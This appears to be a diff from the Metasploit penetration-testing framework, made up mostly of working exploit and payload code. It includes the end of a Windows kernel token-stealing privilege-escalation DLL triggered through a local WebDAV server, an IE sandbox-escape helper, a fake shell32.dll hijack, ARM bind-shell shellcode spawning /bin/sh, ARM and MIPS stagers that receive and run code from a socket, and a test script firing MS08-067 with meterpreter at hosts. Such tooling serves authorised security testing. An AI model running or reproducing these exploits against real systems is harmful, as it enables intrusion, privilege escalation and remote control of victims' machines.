KB = (PVOID *)pModuleInfo->Modules[0].ImageBase;
|
||||
KI = (CHAR *)pModuleInfo->Modules[0].FullPathName + pModuleInfo->Modules[0].OffsetToFileName;
|
||||
|
||||
/* finishing information gathering */
|
||||
|
||||
pZwOpenProcess = (_ZwOpenProcess)GetKernelAPI(KI, KB, "ZwOpenProcess");
|
||||
pZwOpenProcessToken = (_ZwOpenProcessToken)GetKernelAPI(KI, KB, "ZwOpenProcessToken");
|
||||
pZwDuplicateToken = (_ZwDuplicateToken)GetKernelAPI(KI, KB, "ZwDuplicateToken");
|
||||
pZwSetInformationProcess = (_ZwSetInformationProcess)GetKernelAPI(KI, KB, "ZwSetInformationProcess");
|
||||
pZwClose = (_ZwClose)GetKernelAPI(KI, KB, "ZwClose");
|
||||
pPsLookupProcessByProcessId = (_PsLookupProcessByProcessId)GetKernelAPI(KI, KB, "PsLookupProcessByProcessId");
|
||||
|
||||
/* start setting up the trigger */
|
||||
|
||||
srand(time(NULL));
|
||||
port = (rand() % (60000 - 5000)) + 5000;
|
||||
|
||||
//printf("[+] Allocating page at 0x00000000 ...\n");
|
||||
ntRet = pNtAllocateVirtualMemory((HANDLE)-1, (LPVOID)&allocAddr, 0, &allocSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
||||
if (ntRet != 0) {
|
||||
//printf("[-] NtAllocateVirtualMemory error. Status = 0x%08x\n\n", ntRet);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
pBadDeviceObject = (PBAD_DEVICE_OBJECT)GlobalAlloc(GMEM_ZEROINIT, sizeof(BAD_DEVICE_OBJECT));
|
||||
|
||||
//printf("[+] Building fake DEVICE_OBJECT ...\n");
|
||||
pBadDeviceObject->addrPtr = (DWORD)0x00000010;
|
||||
pBadDeviceObject->evilAddr = (ULONG)&tokenTwiddler;
|
||||
memcpy((PVOID)0x00, pBadDeviceObject, sizeof(BAD_DEVICE_OBJECT));
|
||||
|
||||
//printf("[+] Starting WebDAV server on port %d\n", port);
|
||||
hThread = (HANDLE)_beginthread((void *)wdServ, 0, (void *)port);
|
||||
//printf("[+] WebDAV thread started, back in main()\n");
|
||||
memset(&nr, 0, sizeof(NETRESOURCE));
|
||||
sprintf(remoteName, "\\\\127.0.0.1@%d\\folder\\", port);
|
||||
sprintf(cfName, "\\\\127.0.0.1@%d\\folder\\file", port);
|
||||
|
||||
pnr = &nr;
|
||||
pnr->dwScope = 0;
|
||||
pnr->dwType = 0;
|
||||
pnr->dwDisplayType = 0;
|
||||
pnr->dwUsage = 0;
|
||||
pnr->lpLocalName = NULL;
|
||||
pnr->lpRemoteName = (LPSTR)&remoteName[0];
|
||||
pnr->lpComment = NULL;
|
||||
pnr->lpProvider = NULL;
|
||||
|
||||
wnacRes = WNetAddConnection2(&nr, NULL, NULL, (DWORD)0);
|
||||
|
||||
// printf("[+] WNetAddConnection2 result: 0x%08x\n", wnacRes);
|
||||
if (wnacRes != 0) {
|
||||
// printf("WNetAddConnection2 failed ... wtf\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
hFile = CreateFileA(cfName, FILE_ATTRIBUTE_NORMAL, (DWORD)7, NULL, (DWORD)3, (DWORD)0, NULL);
|
||||
inputPtr = (DWORD *)GlobalAlloc(GMEM_ZEROINIT, inputLen);
|
||||
outputPtr = (DWORD *)GlobalAlloc(GMEM_ZEROINIT, outputLen);
|
||||
|
||||
// printf("Calling NtFsControlFile ...\n");
|
||||
ntRet = pNtFsControlFile(hFile, 0, 0, 0, &IoStatusBlock, 0x900DB, inputPtr, inputLen, outputPtr, outputLen);
|
||||
// printf("[+] NtFsControlFile result: 0x%08x\n", ntRet);
|
||||
|
||||
if (DROP_THE_MIC == TRUE) {
|
||||
execPayload(lpPayload);
|
||||
}
|
||||
else {
|
||||
/* nothing to do */
|
||||
}
|
||||
// printf("[+] Done, cya ...\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
|
||||
{
|
||||
BOOL bReturnValue = TRUE;
|
||||
switch( dwReason )
|
||||
{
|
||||
case DLL_QUERY_HMODULE:
|
||||
if( lpReserved != NULL )
|
||||
*(HMODULE *)lpReserved = hAppInstance;
|
||||
break;
|
||||
case DLL_PROCESS_ATTACH:
|
||||
hAppInstance = hinstDLL;
|
||||
doWork(lpReserved);
|
||||
break;
|
||||
case DLL_PROCESS_DETACH:
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_THREAD_DETACH:
|
||||
break;
|
||||
}
|
||||
return bReturnValue;
|
||||
}
|
||||
+129
@@ -0,0 +1,129 @@
|
||||
#pragma once
|
||||
#define STATUS_UNSUCCESSFUL 0xC0000001
|
||||
|
||||
#define InitializeObjectAttributes( p, n, a, r, s ) { \
|
||||
(p)->Length = sizeof( OBJECT_ATTRIBUTES ); \
|
||||
(p)->RootDirectory = r; \
|
||||
(p)->Attributes = a; \
|
||||
(p)->ObjectName = n; \
|
||||
(p)->SecurityDescriptor = s; \
|
||||
(p)->SecurityQualityOfService = NULL; \
|
||||
}
|
||||
|
||||
enum { SystemModuleInformation = 11 };
|
||||
enum { ProcessAccessToken = 0x09 };
|
||||
|
||||
typedef PVOID *PEPROCESS;
|
||||
|
||||
typedef PEPROCESS(WINAPI *_PsGetCurrentProcess)(void);
|
||||
|
||||
typedef ULONG(__cdecl *_DbgPrintEx)(_In_ ULONG ComponentId, _In_ ULONG Level, PCHAR Format, ...);
|
||||
|
||||
typedef struct {
|
||||
HANDLE UniqueProcess;
|
||||
HANDLE UniqueThread;
|
||||
} CLIENT_ID, *PCLIENT_ID;
|
||||
|
||||
typedef NTSTATUS(WINAPI *_NtFsControlFile)(
|
||||
HANDLE FileHandle,
|
||||
HANDLE Event,
|
||||
PIO_APC_ROUTINE ApcRoutine,
|
||||
PVOID ApcContext,
|
||||
PIO_STATUS_BLOCK IoStatusBlock,
|
||||
ULONG FsControlCode,
|
||||
PVOID InputBuffer,
|
||||
ULONG InputBufferLength,
|
||||
PVOID OutputBuffer,
|
||||
ULONG OutputBufferLength
|
||||
);
|
||||
|
||||
typedef NTSTATUS(WINAPI *_NtQuerySystemInformation)(
|
||||
SYSTEM_INFORMATION_CLASS SystemInformationClass,
|
||||
PVOID SystemInformation,
|
||||
ULONG SystemInformationLength,
|
||||
PULONG ReturnLength
|
||||
);
|
||||
|
||||
typedef NTSTATUS(WINAPI *_ZwOpenProcess)(
|
||||
PHANDLE ProcessHandle,
|
||||
ACCESS_MASK DesiredAccess,
|
||||
POBJECT_ATTRIBUTES ObjectAttributes,
|
||||
PCLIENT_ID ClientId
|
||||
);
|
||||
|
||||
typedef NTSTATUS(WINAPI *_ZwDuplicateToken)(
|
||||
HANDLE ExistingTokenHandle,
|
||||
ACCESS_MASK DesiredAccess,
|
||||
POBJECT_ATTRIBUTES ObjectAttributes,
|
||||
BOOLEAN EffectiveOnly,
|
||||
TOKEN_TYPE TokenType,
|
||||
PHANDLE NewTokenHandle
|
||||
);
|
||||
|
||||
typedef NTSTATUS(WINAPI *_ZwOpenProcessToken)(
|
||||
HANDLE ProcessHandle,
|
||||
ACCESS_MASK DesiredAccess,
|
||||
PHANDLE TokenHandle
|
||||
);
|
||||
|
||||
typedef NTSTATUS(WINAPI *_ZwSetInformationProcess)(
|
||||
HANDLE ProcessHandle,
|
||||
PROCESSINFOCLASS ProcessInformationClass,
|
||||
PVOID ProcessInformation,
|
||||
ULONG ProcessInformationLength
|
||||
);
|
||||
|
||||
|
||||
typedef DWORD(WINAPI *_NtAllocateVirtualMemory)(
|
||||
HANDLE ProcessHandle,
|
||||
PVOID *BaseAddress,
|
||||
ULONG ZeroBits,
|
||||
PULONG RegionSize,
|
||||
ULONG AllocationType,
|
||||
ULONG Protect
|
||||
);
|
||||
|
||||
typedef NTSTATUS(WINAPI *_PsLookupProcessByProcessId)(
|
||||
_In_ HANDLE ProcessId,
|
||||
_Out_ PEPROCESS *Process
|
||||
);
|
||||
|
||||
typedef BOOL(WINAPI *_ZwClose)(
|
||||
_In_ HANDLE hObject
|
||||
);
|
||||
|
||||
typedef struct _PROCESS_ACCESS_TOKEN {
|
||||
HANDLE Token;
|
||||
HANDLE Thread;
|
||||
} PROCESS_ACCESS_TOKEN, *PPROCESS_ACCESS_TOKEN;
|
||||
|
||||
/* Hacked up from Process Hacker source */
|
||||
typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
|
||||
HANDLE Section;
|
||||
PVOID MappedBase;
|
||||
PVOID ImageBase;
|
||||
ULONG ImageSize;
|
||||
ULONG Flags;
|
||||
USHORT LoadOrderIndex;
|
||||
USHORT InitOrderIndex;
|
||||
USHORT LoadCount;
|
||||
USHORT OffsetToFileName;
|
||||
UCHAR FullPathName[256];
|
||||
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;
|
||||
|
||||
typedef struct _RTL_PROCESS_MODULES {
|
||||
ULONG NumberOfModules;
|
||||
SYSTEM_MODULE_INFORMATION_ENTRY Modules[1];
|
||||
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
|
||||
|
||||
typedef struct {
|
||||
ULONG pad1[12];
|
||||
DWORD addrPtr;
|
||||
ULONG pad2[14];
|
||||
DWORD evilAddr;
|
||||
} BAD_DEVICE_OBJECT, *PBAD_DEVICE_OBJECT;
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,183 @@
|
||||
/*
|
||||
From: https://gist.github.com/worawit/1213febe36aa8331e092
|
||||
|
||||
Simple local HTTP server for IE (with no AppContainer) privilege escalation.
|
||||
|
||||
I implemented local server instead of proxy in Ref because
|
||||
local server is easier to code. But local server is less useful then proxy.
|
||||
|
||||
Ref:
|
||||
http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/There-s-No-Place-Like-Localhost-A-Welcoming-Front-Door-To-Medium/ba-p/6560786#.U9v5smN5FHb
|
||||
|
||||
Note:
|
||||
From my test, by default IE does not configure intranet site.
|
||||
With this default, localhost is treated as internet site (run as low integrity).
|
||||
*/
|
||||
#define _CRT_SECURE_NO_WARNINGS
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <winsock2.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
#pragma comment(lib, "ws2_32.lib")
|
||||
|
||||
#define SERVER_PORT 5555
|
||||
|
||||
static HANDLE hThread = NULL;
|
||||
|
||||
static WCHAR stage2file[256];
|
||||
|
||||
static SOCKET serverSk = INVALID_SOCKET;
|
||||
static SOCKET peerSk = INVALID_SOCKET;
|
||||
|
||||
static SOCKET create_server()
|
||||
{
|
||||
struct sockaddr_in skAddr;
|
||||
SOCKET sk;
|
||||
int optval;
|
||||
|
||||
sk = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
|
||||
if (sk == INVALID_SOCKET)
|
||||
return INVALID_SOCKET;
|
||||
|
||||
optval = 1;
|
||||
setsockopt(sk, SOL_SOCKET, SO_REUSEADDR, (char*) &optval, sizeof(optval));
|
||||
|
||||
memset(&skAddr, 0, sizeof(skAddr));
|
||||
skAddr.sin_family = AF_INET;
|
||||
skAddr.sin_port = htons(SERVER_PORT);
|
||||
skAddr.sin_addr.s_addr = inet_addr("127.0.0.1");
|
||||
|
||||
if (bind(sk, (struct sockaddr *) &skAddr, sizeof(skAddr)) != 0)
|
||||
goto on_error;
|
||||
|
||||
if (listen(sk, 5) != 0)
|
||||
goto on_error;
|
||||
|
||||
return sk;
|
||||
|
||||
on_error:
|
||||
closesocket(sk);
|
||||
return SOCKET_ERROR;
|
||||
}
|
||||
|
||||
static int send_all(SOCKET sk, char *buffer, int size)
|
||||
{
|
||||
int len;
|
||||
while (size > 0) {
|
||||
len = send(sk, buffer, size, 0);
|
||||
if (len <= 0)
|
||||
return 0;
|
||||
buffer += len;
|
||||
size -= len;
|
||||
}
|
||||
|
||||
return 1;
|
||||
}
|
||||
|
||||
static int local_server()
|
||||
{
|
||||
int len;
|
||||
int totalSize;
|
||||
char buffer[4096];
|
||||
HANDLE hFile = INVALID_HANDLE_VALUE;
|
||||
|
||||
serverSk = create_server();
|
||||
if (serverSk == INVALID_SOCKET)
|
||||
return SOCKET_ERROR;
|
||||
|
||||
while (1) {
|
||||
peerSk = accept(serverSk, NULL, NULL);
|
||||
if (peerSk == INVALID_SOCKET) {
|
||||
continue;
|
||||
}
|
||||
|
||||
len = recv(peerSk, buffer, sizeof(buffer), 0);
|
||||
if (len <= 0)
|
||||
goto closepeer;
|
||||
|
||||
hFile = CreateFile(stage2file, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
if (hFile == INVALID_HANDLE_VALUE)
|
||||
break;
|
||||
|
||||
totalSize = GetFileSize(hFile, NULL);
|
||||
if (totalSize == INVALID_FILE_SIZE)
|
||||
break;
|
||||
|
||||
len = _snprintf(buffer, sizeof(buffer),
|
||||
"HTTP/1.1 200 OK\r\n"
|
||||
"Content-Type: text/html\r\n"
|
||||
"Connection: Close\r\n"
|
||||
"Content-Length: %d\r\n"
|
||||
"\r\n",
|
||||
totalSize
|
||||
);
|
||||
send_all(peerSk, buffer, len);
|
||||
|
||||
while (totalSize > 0) {
|
||||
ReadFile(hFile, buffer, sizeof(buffer), (DWORD*) &len, NULL);
|
||||
send_all(peerSk, buffer, len);
|
||||
totalSize -= len;
|
||||
}
|
||||
CloseHandle(hFile);
|
||||
hFile = INVALID_HANDLE_VALUE;
|
||||
|
||||
closepeer:
|
||||
closesocket(peerSk);
|
||||
peerSk = INVALID_SOCKET;
|
||||
}
|
||||
|
||||
if (hFile != INVALID_HANDLE_VALUE) {
|
||||
CloseHandle(hFile);
|
||||
}
|
||||
if (peerSk != INVALID_SOCKET) {
|
||||
closesocket(peerSk);
|
||||
peerSk = INVALID_SOCKET;
|
||||
}
|
||||
if (serverSk != INVALID_SOCKET) {
|
||||
closesocket(serverSk);
|
||||
serverSk = INVALID_SOCKET;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
DWORD WINAPI threadProc(void *param)
|
||||
{
|
||||
WSADATA wsaData;
|
||||
WSAStartup(MAKEWORD(2 ,2), &wsaData);
|
||||
|
||||
local_server();
|
||||
|
||||
WSACleanup();
|
||||
|
||||
DeleteFile(stage2file);
|
||||
return 0;
|
||||
}
|
||||
|
||||
void do_work()
|
||||
{
|
||||
GetEnvironmentVariableW(L"stage2file", stage2file, sizeof(stage2file));
|
||||
|
||||
hThread = CreateThread(NULL, 0, threadProc, NULL, 0, NULL);
|
||||
}
|
||||
|
||||
BOOL APIENTRY DllMain( HMODULE hModule,
|
||||
DWORD ul_reason_for_call,
|
||||
LPVOID lpReserved
|
||||
)
|
||||
{
|
||||
switch (ul_reason_for_call)
|
||||
{
|
||||
case DLL_PROCESS_ATTACH:
|
||||
do_work();
|
||||
break;
|
||||
case DLL_PROCESS_DETACH:
|
||||
if (hThread) {
|
||||
WaitForSingleObject(hThread, INFINITE);
|
||||
CloseHandle(hThread);
|
||||
}
|
||||
break;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
@@ -0,0 +1,39 @@
|
||||
/*
|
||||
From: https://gist.github.com/worawit/1213febe36aa8331e092
|
||||
|
||||
Fake shell32.dll to be loaded after modified %SystemRoot%
|
||||
*/
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <windows.h>
|
||||
|
||||
static void do_work()
|
||||
{
|
||||
WCHAR envBuffer[256];
|
||||
|
||||
GetEnvironmentVariableW(L"SaveSystemRoot", envBuffer, sizeof(envBuffer));
|
||||
// restore system root
|
||||
SetEnvironmentVariableW(L"SystemRoot", envBuffer);
|
||||
//SetEnvironmentVariableW(L"SaveSystemRoot", NULL);
|
||||
|
||||
GetEnvironmentVariableW(L"MyDllPath", envBuffer, sizeof(envBuffer));
|
||||
SetEnvironmentVariableW(L"MyDllPath", NULL);
|
||||
|
||||
// shell32.dll will be unloaded, use another dll
|
||||
LoadLibraryExW(envBuffer, NULL, LOAD_WITH_ALTERED_SEARCH_PATH);
|
||||
}
|
||||
|
||||
BOOL APIENTRY DllMain( HMODULE hModule,
|
||||
DWORD ul_reason_for_call,
|
||||
LPVOID lpReserved
|
||||
)
|
||||
{
|
||||
switch (ul_reason_for_call)
|
||||
{
|
||||
case DLL_PROCESS_ATTACH:
|
||||
do_work();
|
||||
break;
|
||||
case DLL_PROCESS_DETACH:
|
||||
break;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
@@ -0,0 +1,117 @@
|
||||
@@
|
||||
@
|
||||
@ Name: single_sock_bind
|
||||
@ Qualities: -
|
||||
@ Authors: Balazs Bucsay <@xoreipeip>
|
||||
@ License: MSF_LICENSE
|
||||
@ Description:
|
||||
@
|
||||
@ Implementation of a Linux bind TCP shellcode for ARM BE architecture.
|
||||
@
|
||||
@ Assemble with:
|
||||
@ armeb-buildroot-linux-uclibcgnueabi-as -mthumb single_sock_bind.s -o shellcode.o
|
||||
@ Link with:
|
||||
@ armeb-buildroot-linux-uclibcgnueabi-ld shellcode.o -o shellcode
|
||||
@
|
||||
@ Meta-Information:
|
||||
@
|
||||
@ meta-shortname=Linux Bind TCP
|
||||
@ meta-description=Listen on a port for a connection and run a second stage
|
||||
@ meta-authors=earthquake
|
||||
@ meta-os=linux
|
||||
@ meta-arch=armbe
|
||||
@ meta-category=singles
|
||||
@ meta-connection-type=bind
|
||||
@ meta-name=bind_tcp
|
||||
@@
|
||||
|
||||
|
||||
.section .text
|
||||
.global _start
|
||||
|
||||
_start:
|
||||
.code 32
|
||||
|
||||
@ Thumb-Mode on
|
||||
add r6, pc, #1
|
||||
bx r6
|
||||
.code 16
|
||||
|
||||
@ _socket(2,1,0)
|
||||
sub r2, r2, r2
|
||||
add r1, r2, #1
|
||||
add r0, r2, #2
|
||||
lsl r7, r1, #8
|
||||
add r7, r7, #0x19
|
||||
svc 1
|
||||
mov r6, r0
|
||||
|
||||
@ 1 uint8_t sin_len
|
||||
@ 1 sa_family_t sin_family
|
||||
@ 2 in_port_t sin_port
|
||||
@ 4 struct in_addr sin_addr
|
||||
@ 8 char sin_zero [8]
|
||||
@ 00 02 5C11 00000000 00000000 00000000
|
||||
@ 5c11 => 4444
|
||||
@ _bind()
|
||||
mov r2, #2
|
||||
lsl r2, r2, #8
|
||||
add r2, r2, #0x11
|
||||
lsl r2, r2, #8
|
||||
add r2, r2, #0x5C
|
||||
sub r3, r3, r3
|
||||
sub r4, r4, r4
|
||||
sub r5, r5, r5
|
||||
mov r1, sp
|
||||
stm r1!, {r2-r5}
|
||||
sub r1, #0x10
|
||||
mov r2, #16
|
||||
add r7, r7, #1
|
||||
svc 1
|
||||
|
||||
@ _listen()
|
||||
mov r0, r6
|
||||
sub r1, r1, r1
|
||||
add r7, r7, #2
|
||||
svc 1
|
||||
|
||||
@ _accept()
|
||||
mov r0, r6
|
||||
sub r2, r2, r2
|
||||
add r7, r7, #1
|
||||
svc 1
|
||||
mov r6, r0
|
||||
|
||||
@ _dup2()
|
||||
sub r1, r1, r1
|
||||
mov r7, #63
|
||||
svc 1
|
||||
|
||||
mov r0, r6
|
||||
add r1, r1, #1
|
||||
svc 1
|
||||
|
||||
mov r0, r6
|
||||
add r1, r1, #1
|
||||
svc 1
|
||||
|
||||
_execve()
|
||||
sub r2, r2, r2
|
||||
mov r0, pc
|
||||
add r0, #18
|
||||
@ next intstruction terminates the string beneath the code "//bin/sh"
|
||||
@ in case you want to say goodbye to the null character
|
||||
@ str r2, [r0, #8]
|
||||
str r2, [sp, #8]
|
||||
str r0, [sp, #4]
|
||||
add r1, sp, #4
|
||||
mov r7, #11
|
||||
svc 1
|
||||
|
||||
@ _exit()
|
||||
sub r4, r4, r4
|
||||
mov r0, r4
|
||||
mov r7, #1
|
||||
svc 1
|
||||
.ascii "//bin/sh\0"
|
||||
@.ascii "//bin/sh"
|
||||
@@ -0,0 +1,51 @@
|
||||
.global _start
|
||||
|
||||
@ Required symbols:
|
||||
@ SIZE: size of the final payload
|
||||
@ ENTRY: entry point offset from the start of the process image
|
||||
|
||||
.text
|
||||
_start:
|
||||
@ mmap the space for the mettle image
|
||||
mov r0, #0 @ address doesn't matter
|
||||
ldr r1, =SIZE @ more than 12-bits
|
||||
mov r2, #7 @ PROT_READ | PROT_WRITE | PROT_EXECUTE
|
||||
mov r3, #34 @ MAP_PRIVATE | MAP_ANONYMOUS
|
||||
mov r4, #0 @ no file
|
||||
mov r5, #0 @ no offset
|
||||
|
||||
mov r7, #192 @ syscall: mmap2
|
||||
svc #0
|
||||
|
||||
@ recv the process image
|
||||
@ r12 contains our socket from the reverse stager
|
||||
mov r2, r1 @ recv the whole thing (I, too, like to live dangerously)
|
||||
mov r1, r0 @ move the mmap to the recv buffer
|
||||
mov r0, r12 @ set the fd
|
||||
mov r3, #0x100 @ MSG_WAITALL
|
||||
|
||||
ldr r7, =#291 @ syscall: recv
|
||||
svc #0
|
||||
|
||||
@ set up the initial stack
|
||||
@ The final stack must be aligned, so we align and then make room backwards
|
||||
@ by _adding_ to sp.
|
||||
and sp, #-16 @ Align
|
||||
add sp, #36 + 4 @ Add room for initial stack and prog name
|
||||
mov r4, #109 @ "m" (0,0,0,109)
|
||||
push {r4} @ On the stack
|
||||
mov r4,#2 @ ARGC
|
||||
mov r5,sp @ ARGV[0] char *prog_name
|
||||
mov r6,r12 @ ARGV[1] int socket fd
|
||||
mov r7,#0 @ (NULL)
|
||||
mov r8,#0 @ (NULL) (Ending ENV)
|
||||
mov r9,#7 @ AT_BASE
|
||||
mov r10,r1 @ mmap'd address
|
||||
mov r11,#0 @ AT_NULL
|
||||
mov r12,#0
|
||||
push {r4-r12}
|
||||
|
||||
@ hack the planet
|
||||
ldr r0, =ENTRY
|
||||
add r0, r1
|
||||
bx r0
|
||||
@@ -0,0 +1,59 @@
|
||||
.global __start
|
||||
|
||||
# Required symbols:
|
||||
# SIZE: size of the final payload
|
||||
# ENTRY: entry point offset from the start of the process image
|
||||
|
||||
.text
|
||||
___start:
|
||||
# mmap the space for the mettle image
|
||||
move $a0, $zero # address doesn't matter
|
||||
li $a1, SIZE # more than 16-bits
|
||||
li $a2, 7 # PROT_READ | PROT_WRITE | PROT_EXECUTE
|
||||
li $a3, 0x802 # MAP_PRIVATE | MAP_ANONYMOUS
|
||||
|
||||
sw $0, 16($sp) # Dumb O32 ABI
|
||||
sw $0, 20($sp)
|
||||
|
||||
li $v0, 4090 # syscall: mmap
|
||||
syscall
|
||||
|
||||
# recv the process image
|
||||
# s2 contains our socket from the reverse stager
|
||||
move $a2, $a1 # recv the whole thing (I, too, like to live dangerously)
|
||||
move $a1, $v0 # move the mmap to the recv buffer
|
||||
move $a0, $s2 # set the fd
|
||||
li $a3, 0x100 # MSG_WAITALL
|
||||
|
||||
li $v0, 4175 # syscall: recv
|
||||
syscall
|
||||
|
||||
# set up the initial stack
|
||||
# The final stack must be aligned, so we align and then make room backwards
|
||||
# by _adding_ to sp.
|
||||
and $sp, $sp, -8 # Align
|
||||
li $t4, 0x6d00006d # BE/LE anagram of "m" (109, 0)
|
||||
sw $t4, 44($sp) # On the stack
|
||||
|
||||
# Initial program stack:
|
||||
li $t5, 2 # ARGC
|
||||
sw $t5, 0($sp)
|
||||
addi $t6, $sp, 44 # ARGV[0] char *prog_name
|
||||
sw $t6, 4($sp)
|
||||
sw $s2, 8($sp) # ARGV[1] int socket fd
|
||||
sw $0, 12($sp) # (NULL)
|
||||
sw $0, 16($sp) # (NULL) (Ending ENV)
|
||||
li $t7, 7 # AT_BASE
|
||||
sw $t7, 20($sp)
|
||||
sw $a1, 24($sp) # mmap'd address
|
||||
li $t8, 6 # AT_PAGESZ
|
||||
sw $t8, 28($sp)
|
||||
li $t9, 0x1000 # 4k
|
||||
sw $t9, 32($sp)
|
||||
sw $0, 36($sp) # AT_NULL
|
||||
sw $0, 40($sp)
|
||||
|
||||
# hack the planet
|
||||
li $s0, ENTRY
|
||||
add $s0, $s0, $a1
|
||||
jr $s0
|
||||
@@ -10,18 +10,39 @@ Feature: MS08-067 netapi
|
||||
Given I ready the windows targets
|
||||
Given a file named "ms08-067-bind.rc" with:
|
||||
"""
|
||||
<ruby>
|
||||
hosts = YAML.load File.open Rails.root.join('features', 'support', 'targets.yml')
|
||||
self.run_single('use exploit/windows/smb/ms08_067_netapi')
|
||||
self.run_single('set payload windows/meterpreter/bind_tcp')
|
||||
hosts.each do |host|
|
||||
self.run_single("set RHOST #{host['ipAddress']}")
|
||||
self.run_single('run -j')
|
||||
sleep 1
|
||||
end
|
||||
self.run_single('sessions -K')
|
||||
</ruby>
|
||||
<ruby>
|
||||
self.run_single("spool #{Rails.root.join('tmp', 'console.log')}")
|
||||
hosts = YAML.load File.open Rails.root.join('features', 'support', 'targets.yml')
|
||||
payload_name = 'windows/meterpreter/bind_tcp'
|
||||
exploited_hosts = []
|
||||
failed_hosts = []
|
||||
|
||||
hosts.each do |host|
|
||||
print_status("Trying MS08-067 against #{host['ipAddress']}")
|
||||
mod = framework.exploits.create('windows/smb/ms08_067_netapi')
|
||||
mod.datastore['PAYLOAD'] = payload_name
|
||||
mod.datastore['RHOST'] = host['ipAddress']
|
||||
m = mod.exploit_simple(
|
||||
'LocalInput' => nil,
|
||||
'LocalOutput' => nil,
|
||||
'Payload' => payload_name,
|
||||
'RunAsJob' => false
|
||||
)
|
||||
|
||||
sleep(1)
|
||||
|
||||
if m
|
||||
exploited_hosts << host['ipAddress']
|
||||
else
|
||||
failed_hosts << host['ipAddress']
|
||||
end
|
||||
end
|
||||
|
||||
print_status("Exploited hosts: #{exploited_hosts.inspect}")
|
||||
print_status("Failed hosts: #{failed_hosts.inspect}")
|
||||
self.run_single('sessions -K')
|
||||
</ruby>
|
||||
"""
|
||||
When I run `msfconsole --environment test -q -r ms08-067-bind.rc -x exit`
|
||||
When I successfully run `msfconsole --environment test -q -r ms08-067-bind.rc -x exit` for up to 100 seconds
|
||||
Then the 'Mdm::Host' table contains the expected targets
|
||||
|
||||
@@ -4,6 +4,11 @@ Before do
|
||||
@aruba_timeout_seconds = 8.minutes
|
||||
end
|
||||
|
||||
Before('@db') do |scenario|
|
||||
dbconfig = YAML::load(File.open(Metasploit::Framework::Database.configurations_pathname))
|
||||
ActiveRecord::Base.establish_connection(dbconfig["test"])
|
||||
end
|
||||
|
||||
# don't setup child processes to load simplecov_setup.rb if simplecov isn't installed
|
||||
# unless Bundler.settings.without.include?(:coverage)
|
||||
# Before do |scenario|
|
||||
|
||||
@@ -1,15 +0,0 @@
|
||||
# -*- coding: binary -*-
|
||||
# A Convenience to load all field classes and yaml handling.
|
||||
# XXX: Pretty certian this monkeypatch isn't required in Metasploit.
|
||||
|
||||
if "a"[0].kind_of? Fixnum
|
||||
unless Fixnum.methods.include? :ord
|
||||
class Fixnum
|
||||
def ord; self; end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
require 'bit-struct/bit-struct'
|
||||
require 'bit-struct/fields'
|
||||
require 'bit-struct/yaml'
|
||||
@@ -1,187 +0,0 @@
|
||||
= BitStruct
|
||||
|
||||
Class for packed binary data stored in ruby Strings. BitStruct accessors, generated from user declared fields, use pack/unpack to treat substrings as fields with a specified portable format.
|
||||
|
||||
Field types include:
|
||||
|
||||
* signed and unsigned integer (1..16 bits, or 24, 32, 40, 48... bits)
|
||||
|
||||
* numeric fields (signed, unsigned, float) can be designated as any of the following endians: little, big, native, network (default)
|
||||
|
||||
* fixed point, with arbitrary scale factor
|
||||
|
||||
* fixed length character array
|
||||
|
||||
* null-terminated character array for printable text
|
||||
|
||||
* octets (hex and decimal representation options; useful for IP and MAC addrs)
|
||||
|
||||
* float
|
||||
|
||||
* nested BitStruct
|
||||
|
||||
* vectors of embedded BitStructs
|
||||
|
||||
* free-form "rest" field (e.g., for the variable-size payload of a packet)
|
||||
|
||||
Field options (specifiable as :foo => val or "foo" => val) include:
|
||||
|
||||
* *display_name*: used in BitStruct#inspect_detailed and BitStruct#describe outputs.
|
||||
|
||||
* *default*: default field value
|
||||
|
||||
* *format*: alternate format string for inspect
|
||||
|
||||
* *endian*: for byte ordering of numeric fields (unsigned, signed, float): little, big, native, network (default)
|
||||
|
||||
* *fixed*: float stored as fixed-point integer, with specified scale factor
|
||||
|
||||
|
||||
== Installation
|
||||
|
||||
For .gem:
|
||||
|
||||
gem install bit-struct
|
||||
|
||||
For .tgz, unpack and then:
|
||||
|
||||
ruby install.rb config
|
||||
ruby install.rb setup
|
||||
ruby install.rb install
|
||||
|
||||
== Uses
|
||||
|
||||
BitStruct is useful for defining packets used in network protocols. This is especially useful for raw IP--see examples/ping-recv.rb. All multibyte numeric fields are stored by default in network order.
|
||||
|
||||
BitStruct is most efficient when your data is primarily treated as a binary string, and only secondarily treated as a data structure. (For instance, you are routing packets from one socket to another, possibly looking at one or two fields as it passes through or munging some headers.) If accessor operations are a bottleneck, a better approach is to define a class that wraps an array and uses pack/unpack when the object needs to behave like a binary string.
|
||||
|
||||
== Features
|
||||
|
||||
* Extensible with user-defined field classes.
|
||||
|
||||
* Fields are fully introspectable and can be defined programmatically.
|
||||
|
||||
* BitStruct.describe prints out documentation of all the fields of a BitStruct subclass, based on declarations. This is useful for communicating with developers who are not using ruby, but need to talk the same protocols. See Example, below.
|
||||
|
||||
* Fields are inherited by subclasses. (The free-form "rest" field does not inherit, because it usually represents a payload whose structure is defined in subclasses using the fixed-size fields.)
|
||||
|
||||
* BitStruct#inspect and BitStruct#inspect_detailed can be used for prettified display of contents. (More generally, BitStruct#inspect takes some options that control formatting and detail level.) See Example, below.
|
||||
|
||||
